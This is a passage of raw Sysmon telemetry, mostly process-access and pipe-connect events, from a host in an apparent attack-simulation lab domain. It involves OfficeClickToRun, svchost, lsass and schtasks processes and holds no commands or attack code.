Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.971{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.971{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.956{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.956{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.956{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.940{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.940{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.940{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.924{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.924{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.924{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.909{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.909{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.893{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.893{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.877{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.877{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.877{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.862{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.862{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.862{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.846{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.846{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.846{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.831{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.831{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.815{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.815{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.815{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.815{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.799{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.799{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.799{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.784{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.784{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8C08-00000000F001}6240C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.784{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8C08-00000000F001}6240C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.784{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.768{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-8C08-00000000F001}6240C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.768{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.768{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.768{7BD73061-6F35-613B-8D08-00000000F001}39447084C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-8C08-00000000F001}6240C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.768{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft 